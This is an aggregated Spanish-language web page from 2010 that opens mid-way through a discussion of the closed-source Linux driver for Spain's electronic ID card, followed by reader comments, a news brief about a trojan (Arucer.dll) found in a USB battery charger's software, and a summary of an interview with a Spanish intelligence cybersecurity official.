driver libre. Tengo entendido que hay gente trabajando en ello pero
podría ocurrir, por ejemplo, que se encuentren con que el driver
utiliza alguna clave para acceder al contenido. En ese caso podrían
liberar todo menos la clave. Algo parecido a lo que ocurre con drivers
para algunos dispositivos como modems ADSL o adaptadores WIFI por usb,
que no tienen ROM así que el firmware se les sube cada ve que se
inicializan. Como el firmware está incluido en el driver, se puede
hacer un driver libre pero no se puede incluir el firmware y sin eso
no funciona. También podría ser que para lograr el driver libre
tuvieran que hacer ingeniería inversa y no se qué tan legal sea eso,
considerando que el driver para linux sí existe (aunque sólo para
algunas pocas versiones). Si no hubiera ningún driver par alinux se
podría alegar que la ingeniería inversa es sólo para
interoperabilidad.
La solución siguiente es forzar la carga del driver aunque la versión
no sea la misma. Esto es una solución sucia pero que funciona, aunque
no resuelve el problema real que es la falta del código fuente.
Como sea, estos problemas de versiones lamentablemente no sirven para
que se den cuenta de que deben liberar el código. Lo único que hacen
es reforzar la idea que tiene mucha gente de que la gran diversidad de
versiones de Linux es un obstáculo. Los usuarios de Linux generalmente
saben que ese obstáculo genera ventajas en muchos sentidos pero en
realidad ellos no necesitan convencerse de que Linux es bueno y útil.
En definitiva, lo que debería ser una presión para que liberen el
driver del dni electrónico en definitiva se convierte en una "mala
propaganda" para Linux. Esperemos que pronto haya una solución
aceptable al asunto y mientras tanto habrá que hacer trampas para
poder usarlo.
Alejandro Nestor Vargas
* Abre sesión o crea tu cuenta para enviar opiniones
Gracias
Enviado por serhost2 el 24. Marzo 2010 - 12:16.
Gracias a este articulo me funciona el dnie en fedora. Muchas
gracias :)
Lo ideal sería montar una pequeña campaña para que liberasen los
fuentes. ¿Alguien sabe en que versión infringieron la GPL y porqué?.
Podríamos pedir a la FSF que hiciese una campaña para pedirlo,
intentar financiar la demanda (si se llega a eso) con afiliaciones o
similar.
Es tan solo una idea. Me gusta la idea general del dnie, pero no me
gusta como la han llevado a cabo ni algunas de las políticas de
certificación.
El DNIe puede ser una buena idea, pero le faltan funciones básicas:
poder cifrar/descifrar, no usar SHA1 que ya es inseguro (no
permitirlo) y si tiene que haber compatibilidad con Windows XP, que se
haga por medio de otra libreria o programa externo. También le faltan
funciones básicas como poder almacenar en él otras llaves o programas
(al estilo de una java card) para otras funciones dentro de los
servicios del estado (autenticación en edificios oficiales, etc).
Es un paso tener un DNI tan chapucero para poder conseguir tener algo
mejor y que aporte más seguridad. Como dato positivo: El acceso
gratuito al OCSP de la policia (creo recordar y que me corrija alguien
si me equivoco) ya que por ejemplo al servidor de la fnmt no es
gratuito acceder para saber si el certificado ha sido revocado o no.
http://www.kriptopolis.org/wrapper-edni-fedora-linux
Paulo
Un troyano en un cargador de baterías USB
editada por amieiro el Martes, 09 Marzo de 2010, 12:24h Printer-
friendly Email story
desde el dept. I-+-D-+-i
Seguridad
Las agencias de seguridad estadounidenses han detectado un troyano en
un cargador USB de baterías para ordenador. Según US-Cert, un
programa, en el momento de conectarse al ordenador, carga los ficheros
UsbCharger.dll y Arucer.dll. Éste último es el que contiene el código
que abre la puerta del ordenador a los intrusos. El troyano permite el
control remoto de la máquina, enviar y recibir ficheros, etc. El
remedio inmediato es desinstalar el programa adjunto al cargador y
borrar el fichero Arucer.dll, así como bloquear su puerto de entrada.
Paulo
from ekl1news Barrapunto by rvr
7 people liked this
En El País, Joseba Elola publica una entrevista a Luis Jiménez,
responsable de la división de seguridad electrónica del CNI. "Los
'hackers' van rápido y nosotros, con la lengua fuera": «[Luis] Jiménez
es un alto cargo del Centro Nacional de Inteligencia (CNI). Es el
responsable de la seguridad electrónica del servicio de inteligencia.
España fue blanco de más de 40 ataques "graves" a lo largo de 2009,
varias instituciones clave fueron tocadas. Lo adelantó EL PAÍS a
finales de enero en una semana en que los medios de comunicación de
medio mundo se hacían eco de la soterrada guerra entre ciberespías de
China y Estados Unidos. Cuatro de los 40 ataques alcanzaron al CNI:
dos de ellos, al Centro Criptológico Nacional , la unidad de Jiménez.
Ésta es la primera entrevista, cara a cara, que concede a un medio de
comunicación de ámbito nacional». La entrevista, en el enlace.